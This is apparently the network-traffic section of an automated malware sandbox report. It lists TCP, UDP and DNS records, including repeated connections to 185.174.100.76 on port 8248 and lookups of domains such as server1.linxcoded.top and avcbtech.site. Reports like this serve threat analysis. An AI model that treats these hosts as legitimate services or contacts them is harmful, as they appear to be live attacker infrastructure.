Mar 26, 2025 18:09:43.739739895 CET	443	49794	142.250.64.68	192.168.2.5
Mar 26, 2025 18:09:43.739842892 CET	49794	443	192.168.2.5	142.250.64.68
Mar 26, 2025 18:09:44.460555077 CET	49794	443	192.168.2.5	142.250.64.68
Mar 26, 2025 18:09:44.460580111 CET	443	49794	142.250.64.68	192.168.2.5
Mar 26, 2025 18:09:49.301001072 CET	49780	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:09:49.448587894 CET	8248	49780	185.174.100.76	192.168.2.5
Mar 26, 2025 18:09:58.316524029 CET	49785	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:09:58.462055922 CET	8248	49785	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:01.566607952 CET	49763	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:01.727385998 CET	8248	49763	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:06.943314075 CET	49790	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:07.089015961 CET	8248	49790	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:07.136564016 CET	49795	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:07.136606932 CET	443	49795	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:07.136780024 CET	49795	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:07.137187004 CET	49796	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:07.138117075 CET	49795	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:07.138130903 CET	443	49795	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:07.282902002 CET	8248	49796	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:07.282974958 CET	49796	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:07.283226013 CET	49796	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:07.429073095 CET	8248	49796	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:07.429378033 CET	49796	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:07.429611921 CET	49796	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:07.442888975 CET	443	49795	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:07.443114996 CET	49795	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:07.443142891 CET	443	49795	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:07.443236113 CET	49795	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:07.443245888 CET	443	49795	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:07.575181961 CET	8248	49796	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:07.575356007 CET	8248	49796	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:07.578556061 CET	49797	443	192.168.2.5	104.26.13.205
Mar 26, 2025 18:10:07.578649044 CET	443	49797	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:07.578741074 CET	49797	443	192.168.2.5	104.26.13.205
Mar 26, 2025 18:10:07.578871965 CET	49797	443	192.168.2.5	104.26.13.205
Mar 26, 2025 18:10:07.578896046 CET	443	49797	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:07.616879940 CET	49796	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:07.754694939 CET	443	49797	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:07.754965067 CET	49797	443	192.168.2.5	104.26.13.205
Mar 26, 2025 18:10:07.754990101 CET	443	49797	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:07.755119085 CET	49797	443	192.168.2.5	104.26.13.205
Mar 26, 2025 18:10:07.755124092 CET	443	49797	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:07.990652084 CET	443	49795	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:07.991086960 CET	443	49795	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:07.991146088 CET	49795	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:07.991329908 CET	49795	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:07.991336107 CET	443	49797	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:07.991345882 CET	443	49795	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:07.991399050 CET	443	49797	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:07.991461039 CET	49797	443	192.168.2.5	104.26.13.205
Mar 26, 2025 18:10:07.993598938 CET	49797	443	192.168.2.5	104.26.13.205
Mar 26, 2025 18:10:07.993639946 CET	443	49797	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:07.997906923 CET	49796	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:08.015229940 CET	49798	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:08.015268087 CET	443	49798	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:08.015332937 CET	49798	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:08.015453100 CET	49798	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:08.015461922 CET	443	49798	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:08.017409086 CET	49799	443	192.168.2.5	172.67.74.152
Mar 26, 2025 18:10:08.017478943 CET	443	49799	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:08.017550945 CET	49799	443	192.168.2.5	172.67.74.152
Mar 26, 2025 18:10:08.017656088 CET	49799	443	192.168.2.5	172.67.74.152
Mar 26, 2025 18:10:08.017678022 CET	443	49799	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:08.183516026 CET	8248	49796	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:08.193638086 CET	443	49799	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:08.193978071 CET	49799	443	192.168.2.5	172.67.74.152
Mar 26, 2025 18:10:08.194009066 CET	443	49799	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:08.194559097 CET	49799	443	192.168.2.5	172.67.74.152
Mar 26, 2025 18:10:08.194566011 CET	443	49799	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:08.321585894 CET	443	49798	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:08.327405930 CET	49798	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:08.327430964 CET	443	49798	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:08.327548027 CET	49798	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:08.327555895 CET	443	49798	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:08.418334961 CET	443	49799	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:08.418401957 CET	443	49799	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:08.418610096 CET	49799	443	192.168.2.5	172.67.74.152
Mar 26, 2025 18:10:08.429996967 CET	49799	443	192.168.2.5	172.67.74.152
Mar 26, 2025 18:10:08.430042982 CET	443	49799	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:08.806128025 CET	443	49798	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:08.806320906 CET	443	49798	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:08.806391001 CET	49798	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:08.807187080 CET	49798	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:08.807209015 CET	443	49798	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:14.393831968 CET	49748	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:14.540992975 CET	8248	49748	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:15.981209040 CET	49800	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:15.981259108 CET	443	49800	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:15.981338024 CET	49800	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:15.981897116 CET	49801	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:15.982893944 CET	49800	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:15.982909918 CET	443	49800	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:16.128050089 CET	8248	49801	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:16.128129005 CET	49801	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:16.128427029 CET	49801	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:16.272285938 CET	8248	49801	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:16.272679090 CET	49801	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:16.272994041 CET	49801	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:16.285731077 CET	443	49800	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:16.286206961 CET	49800	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:16.286206961 CET	49800	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:16.286233902 CET	443	49800	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:16.286242962 CET	443	49800	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:16.416847944 CET	8248	49801	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:16.416940928 CET	8248	49801	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:16.420039892 CET	49802	443	192.168.2.5	104.26.13.205
Mar 26, 2025 18:10:16.420078039 CET	443	49802	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:16.420232058 CET	49802	443	192.168.2.5	104.26.13.205
Mar 26, 2025 18:10:16.420377016 CET	49802	443	192.168.2.5	104.26.13.205
Mar 26, 2025 18:10:16.420387030 CET	443	49802	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:16.464790106 CET	49801	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:16.595334053 CET	443	49802	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:16.595686913 CET	49802	443	192.168.2.5	104.26.13.205
Mar 26, 2025 18:10:16.595701933 CET	443	49802	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:16.595871925 CET	49802	443	192.168.2.5	104.26.13.205
Mar 26, 2025 18:10:16.595876932 CET	443	49802	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:16.759099007 CET	443	49800	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:16.759179115 CET	443	49800	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:16.759968996 CET	49800	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:16.759968996 CET	49800	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:16.764597893 CET	49803	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:16.764657974 CET	443	49803	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:16.764745951 CET	49803	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:16.764965057 CET	49803	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:16.764978886 CET	443	49803	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:16.818090916 CET	443	49802	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:16.818145037 CET	443	49802	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:16.818334103 CET	49802	443	192.168.2.5	104.26.13.205
Mar 26, 2025 18:10:16.819957018 CET	49802	443	192.168.2.5	104.26.13.205
Mar 26, 2025 18:10:16.819976091 CET	443	49802	104.26.13.205	192.168.2.5
Mar 26, 2025 18:10:16.821168900 CET	49801	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:16.823731899 CET	49804	443	192.168.2.5	172.67.74.152
Mar 26, 2025 18:10:16.823766947 CET	443	49804	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:16.823839903 CET	49804	443	192.168.2.5	172.67.74.152
Mar 26, 2025 18:10:16.824018002 CET	49804	443	192.168.2.5	172.67.74.152
Mar 26, 2025 18:10:16.824029922 CET	443	49804	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:17.000967026 CET	443	49804	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:17.001228094 CET	49804	443	192.168.2.5	172.67.74.152
Mar 26, 2025 18:10:17.001256943 CET	443	49804	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:17.001398087 CET	49804	443	192.168.2.5	172.67.74.152
Mar 26, 2025 18:10:17.001403093 CET	443	49804	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:17.007298946 CET	8248	49801	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:17.064807892 CET	443	49803	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:17.065064907 CET	49803	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:17.065108061 CET	443	49803	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:17.065227032 CET	49803	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:17.065236092 CET	443	49803	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:17.066302061 CET	49800	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:17.066322088 CET	443	49800	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:17.226825953 CET	443	49804	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:17.226893902 CET	443	49804	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:17.226978064 CET	49804	443	192.168.2.5	172.67.74.152
Mar 26, 2025 18:10:17.228538990 CET	49804	443	192.168.2.5	172.67.74.152
Mar 26, 2025 18:10:17.228585005 CET	443	49804	172.67.74.152	192.168.2.5
Mar 26, 2025 18:10:17.560570002 CET	443	49803	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:17.560652018 CET	443	49803	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:17.560715914 CET	49803	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:17.566648006 CET	49803	443	192.168.2.5	104.168.138.190
Mar 26, 2025 18:10:17.566672087 CET	443	49803	104.168.138.190	192.168.2.5
Mar 26, 2025 18:10:22.550658941 CET	49751	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:22.695096016 CET	8248	49751	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:25.519830942 CET	49774	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:25.664886951 CET	8248	49774	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:34.456376076 CET	49780	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:34.601944923 CET	8248	49780	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:43.472598076 CET	49785	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:43.617782116 CET	8248	49785	185.174.100.76	192.168.2.5
Mar 26, 2025 18:10:46.754193068 CET	49763	8248	192.168.2.5	185.174.100.76
Mar 26, 2025 18:10:46.914896011 CET	8248	49763	185.174.100.76	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 26, 2025 18:07:30.188266993 CET	53	49798	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:30.197649002 CET	53	60367	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:30.699342966 CET	53	57140	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:30.855918884 CET	53	49563	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:33.426738977 CET	63300	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:33.426918030 CET	60185	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:33.511260033 CET	53	63300	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:33.511324883 CET	53	60185	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:36.001791000 CET	60673	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:36.002013922 CET	56156	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:36.335995913 CET	53	60673	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:36.573915005 CET	53	56156	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:37.574522972 CET	57670	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:37.574729919 CET	59607	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:37.773119926 CET	53	57670	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:37.861813068 CET	53	59607	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:39.275665998 CET	53	52602	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:39.918725967 CET	51867	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:39.918914080 CET	55821	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:40.002954006 CET	53	51867	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:40.003009081 CET	53	55821	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:40.571465969 CET	63406	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:40.571593046 CET	62636	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:40.655906916 CET	53	63406	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:40.655926943 CET	53	62636	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:41.058828115 CET	60939	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:41.059045076 CET	64830	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:41.143502951 CET	53	60939	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:41.143517017 CET	53	64830	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:47.988081932 CET	53	62034	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:57.709464073 CET	60516	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:57.709656000 CET	54012	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:57.890258074 CET	53	60516	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:58.079333067 CET	53	54012	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:58.399368048 CET	55930	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:58.399513960 CET	57242	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:58.484292984 CET	53	55930	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:58.484313965 CET	53	57242	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:58.899130106 CET	61400	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:58.899286032 CET	51448	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:07:58.983303070 CET	53	61400	1.1.1.1	192.168.2.5
Mar 26, 2025 18:07:58.983319998 CET	53	51448	1.1.1.1	192.168.2.5
Mar 26, 2025 18:08:06.140707970 CET	59770	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:08:06.141011000 CET	63717	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:08:06.179125071 CET	53	63399	162.159.36.2	192.168.2.5
Mar 26, 2025 18:08:06.340158939 CET	53	63717	1.1.1.1	192.168.2.5
Mar 26, 2025 18:08:06.341888905 CET	53	59770	1.1.1.1	192.168.2.5
Mar 26, 2025 18:08:07.096447945 CET	53	65497	1.1.1.1	192.168.2.5
Mar 26, 2025 18:08:22.366816044 CET	52031	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:08:22.367114067 CET	54628	53	192.168.2.5	1.1.1.1
Mar 26, 2025 18:08:22.451066017 CET	53	52031	1.1.1.1	192.168.2.5
Mar 26, 2025 18:08:22.451385975 CET	53	54628	1.1.1.1	192.168.2.5
Mar 26, 2025 18:08:27.665271997 CET	138	138	192.168.2.5	192.168.2.255
Mar 26, 2025 18:08:29.875444889 CET	53	50339	1.1.1.1	192.168.2.5
Mar 26, 2025 18:08:30.079751015 CET	53	53197	1.1.1.1	192.168.2.5
Mar 26, 2025 18:09:00.776247978 CET	53	55929	1.1.1.1	192.168.2.5
Mar 26, 2025 18:09:46.637098074 CET	53	53369	1.1.1.1	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Mar 26, 2025 18:07:36.576217890 CET	192.168.2.5	1.1.1.1	c228	(Port unreachable)	Destination Unreachable
Mar 26, 2025 18:07:37.861928940 CET	192.168.2.5	1.1.1.1	c231	(Port unreachable)	Destination Unreachable
Mar 26, 2025 18:07:58.079407930 CET	192.168.2.5	1.1.1.1	c23f	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 26, 2025 18:07:33.426738977 CET	192.168.2.5	1.1.1.1	0xe9f3	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:33.426918030 CET	192.168.2.5	1.1.1.1	0xb1db	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 26, 2025 18:07:36.001791000 CET	192.168.2.5	1.1.1.1	0xb491	Standard query (0)	office.avcbtech.store	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:36.002013922 CET	192.168.2.5	1.1.1.1	0x6851	Standard query (0)	office.avcbtech.store	65	IN (0x0001)	false
Mar 26, 2025 18:07:37.574522972 CET	192.168.2.5	1.1.1.1	0xa69a	Standard query (0)	sender.linxcoded.top	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:37.574729919 CET	192.168.2.5	1.1.1.1	0xde7	Standard query (0)	sender.linxcoded.top	65	IN (0x0001)	false
Mar 26, 2025 18:07:39.918725967 CET	192.168.2.5	1.1.1.1	0x8f47	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:39.918914080 CET	192.168.2.5	1.1.1.1	0x58d7	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 26, 2025 18:07:40.571465969 CET	192.168.2.5	1.1.1.1	0x571a	Standard query (0)	i.imgur.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:40.571593046 CET	192.168.2.5	1.1.1.1	0x3e46	Standard query (0)	i.imgur.com	65	IN (0x0001)	false
Mar 26, 2025 18:07:41.058828115 CET	192.168.2.5	1.1.1.1	0xefae	Standard query (0)	i.imgur.com	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:41.059045076 CET	192.168.2.5	1.1.1.1	0xe979	Standard query (0)	i.imgur.com	65	IN (0x0001)	false
Mar 26, 2025 18:07:57.709464073 CET	192.168.2.5	1.1.1.1	0xa630	Standard query (0)	server1.linxcoded.top	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:57.709656000 CET	192.168.2.5	1.1.1.1	0xb940	Standard query (0)	_8248._https.server1.linxcoded.top	65	IN (0x0001)	false
Mar 26, 2025 18:07:58.399368048 CET	192.168.2.5	1.1.1.1	0xe862	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:58.399513960 CET	192.168.2.5	1.1.1.1	0x2277	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Mar 26, 2025 18:07:58.899130106 CET	192.168.2.5	1.1.1.1	0xa32c	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:58.899286032 CET	192.168.2.5	1.1.1.1	0x40cf	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Mar 26, 2025 18:08:06.140707970 CET	192.168.2.5	1.1.1.1	0x81cc	Standard query (0)	avcbtech.site	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:08:06.141011000 CET	192.168.2.5	1.1.1.1	0x7ace	Standard query (0)	avcbtech.site	65	IN (0x0001)	false
Mar 26, 2025 18:08:22.366816044 CET	192.168.2.5	1.1.1.1	0x9cd0	Standard query (0)	avcbtech.site	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:08:22.367114067 CET	192.168.2.5	1.1.1.1	0x45c	Standard query (0)	avcbtech.site	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 26, 2025 18:07:33.511260033 CET	1.1.1.1	192.168.2.5	0xe9f3	No error (0)	www.google.com		142.250.64.68	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:33.511324883 CET	1.1.1.1	192.168.2.5	0xb1db	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 26, 2025 18:07:36.335995913 CET	1.1.1.1	192.168.2.5	0xb491	No error (0)	office.avcbtech.store		139.28.36.38	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:37.773119926 CET	1.1.1.1	192.168.2.5	0xa69a	No error (0)	sender.linxcoded.top		185.174.100.20	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:40.002954006 CET	1.1.1.1	192.168.2.5	0x8f47	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:40.002954006 CET	1.1.1.1	192.168.2.5	0x8f47	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:40.002954006 CET	1.1.1.1	192.168.2.5	0x8f47	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:40.002954006 CET	1.1.1.1	192.168.2.5	0x8f47	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:40.655906916 CET	1.1.1.1	192.168.2.5	0x571a	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 18:07:40.655906916 CET	1.1.1.1	192.168.2.5	0x571a	No error (0)	ipv4.imgur.map.fastly.net		199.232.36.193	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:40.655926943 CET	1.1.1.1	192.168.2.5	0x3e46	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 18:07:40.656141043 CET	1.1.1.1	192.168.2.5	0xdc21	No error (0)	shed.dual-low.s-part-0012.t-0009.t-msedge.net	s-part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 18:07:40.656141043 CET	1.1.1.1	192.168.2.5	0xdc21	No error (0)	s-part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:41.143502951 CET	1.1.1.1	192.168.2.5	0xefae	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 18:07:41.143502951 CET	1.1.1.1	192.168.2.5	0xefae	No error (0)	ipv4.imgur.map.fastly.net		199.232.36.193	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:41.143517017 CET	1.1.1.1	192.168.2.5	0xe979	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 18:07:41.239778996 CET	1.1.1.1	192.168.2.5	0xce95	No error (0)	shed.dual-low.s-part-0012.t-0009.t-msedge.net	s-part-0012.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 26, 2025 18:07:41.239778996 CET	1.1.1.1	192.168.2.5	0xce95	No error (0)	s-part-0012.t-0009.t-msedge.net		13.107.246.40	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:57.890258074 CET	1.1.1.1	192.168.2.5	0xa630	No error (0)	server1.linxcoded.top		185.174.100.76	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:58.079333067 CET	1.1.1.1	192.168.2.5	0xb940	Name error (3)	_8248._https.server1.linxcoded.top	none	none	65	IN (0x0001)	false
Mar 26, 2025 18:07:58.484292984 CET	1.1.1.1	192.168.2.5	0xe862	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:58.484292984 CET	1.1.1.1	192.168.2.5	0xe862	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:58.484292984 CET	1.1.1.1	192.168.2.5	0xe862	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:58.484313965 CET	1.1.1.1	192.168.2.5	0x2277	No error (0)	api.ipify.org			65	IN (0x0001)	false
Mar 26, 2025 18:07:58.983303070 CET	1.1.1.1	192.168.2.5	0xa32c	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:58.983303070 CET	1.1.1.1	192.168.2.5	0xa32c	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:58.983303070 CET	1.1.1.1	192.168.2.5	0xa32c	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:07:58.983319998 CET	1.1.1.1	192.168.2.5	0x40cf	No error (0)	api.ipify.org			65	IN (0x0001)	false
Mar 26, 2025 18:08:06.341888905 CET	1.1.1.1	192.168.2.5	0x81cc	No error (0)	avcbtech.site		104.168.138.190	A (IP address)	IN (0x0001)	false
Mar 26, 2025 18:08:22.451066017 CET	1.1.1.1	192.168.2.5	0x9cd0	No error (0)	avcbtech.site		104.168.138.190	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

office.avcbtech.store

sender.linxcoded.top

code.jquery.com

i.imgur.com

api.ipify.org

avcbtech.site

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49732	139.28.36.38	443	7164	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
